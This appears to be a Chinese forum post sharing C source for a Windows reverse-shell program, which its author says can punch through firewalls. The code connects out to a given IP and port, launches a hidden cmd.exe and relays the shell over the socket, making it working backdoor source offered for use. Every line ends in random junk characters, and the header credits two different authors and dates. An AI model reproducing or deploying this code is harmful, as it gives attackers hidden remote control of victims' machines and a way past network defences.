这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R9Wh/@J]
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/* ============================== mAh0xgm
Rebound port in Windows NT d?(#NP#;
By wind,2006/7 vdrV)^
===============================*/ mRB-}
#include @BWroNg{
#include 0lR/6CB
!> T.*8
#pragma comment(lib,"wsock32.lib") fyIL/7hzf4
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void OutputShell(); 3+_? /}<
SOCKET sClient; }R:e[lKj
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _sIhQ8$:
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void main(int argc,char **argv) {"l_x]q
{ jPg 8>Z&D
WSADATA stWsaData; EzOO6
int nRet; 2@ vSe
SOCKADDR_IN stSaiClient,stSaiServer; xoI;s}*E
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if(argc != 3) &/*XA
{ }Z*@EWc>
printf("Useage:\n\rRebound DestIP DestPort\n"); +L1%mVq]y
return; I#QBJ#
} !_rAAY
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WSAStartup(MAKEWORD(2,2),&stWsaData); a9PSg/p
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {s!DRc]ln
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stSaiClient.sin_family = AF_INET; Wf/Gt\?
stSaiClient.sin_port = htons(0); n5dFp%k
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O,6Upk
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2C^/;z
{ iErY2~?
printf("Bind Socket Failed!\n"); ~;O|$xL
return; PeGL
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} )K.~A&y@
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stSaiServer.sin_family = AF_INET; s@sRdoTdF
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); k"F5'Od
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b=v
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^Ts|/+}'i
{ MjCD;I:C.
printf("Connect Error!"); $A\fm`
return; /,dcr*
} @G< J+pm
OutputShell(); BYt#aqf
} |SC^H56+
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void OutputShell() Lbk?( TL
{ 3a #2 }
char szBuff[1024]; ^T`)ltI]V
SECURITY_ATTRIBUTES stSecurityAttributes; Xwy0dXko
OSVERSIONINFO stOsversionInfo; =4cK9ac
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; VAf"B5R
STARTUPINFO stStartupInfo; ?}"$[6.
char *szShell; YL\d2
PROCESS_INFORMATION stProcessInformation; R{GOlxKs C
unsigned long lBytesRead; XB,
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); t98t&YUpm
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Pn|A>.)z
stSecurityAttributes.lpSecurityDescriptor = 0; Br.$:g#
stSecurityAttributes.bInheritHandle = TRUE; hN*,]Z{
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); cjfYE]
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,K=\Y9l3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _4F(WC co
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8enlF\I8g
stStartupInfo.wShowWindow = SW_HIDE; jY'svD~
stStartupInfo.hStdInput = hReadPipe; !'uL
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; V(Ll]g/T_;
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GetVersionEx(&stOsversionInfo); zu}oeAQc$
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switch(stOsversionInfo.dwPlatformId) ^6j: lL
{ S0().2#
case 1: $qG;^1$
szShell = "command.com"; (UWWULV
break; 8&?Kg>M
default: |Qo`K%8
szShell = "cmd.exe"; $5kb3x<W
break; DXu915
} FrBoE#
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l"^'uGB'
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send(sClient,szMsg,77,0); 1y@d`k`t:
while(1) FJo?~
{ 8qGK"%{ ~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ("-Co,4ey
if(lBytesRead) ApHs`0=(
{ [4L[.N@
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #DK@&Gv
send(sClient,szBuff,lBytesRead,0); ]OIB;h;3
} :YaEMQJ^
else >d-By
{ 9IJBK
lBytesRead=recv(sClient,szBuff,1024,0); ^R- -&{I
if(lBytesRead<=0) break; 6'CZfs\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "SC }C
} xR;>n[6
} yh0zW
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return; IcmTF #{D
}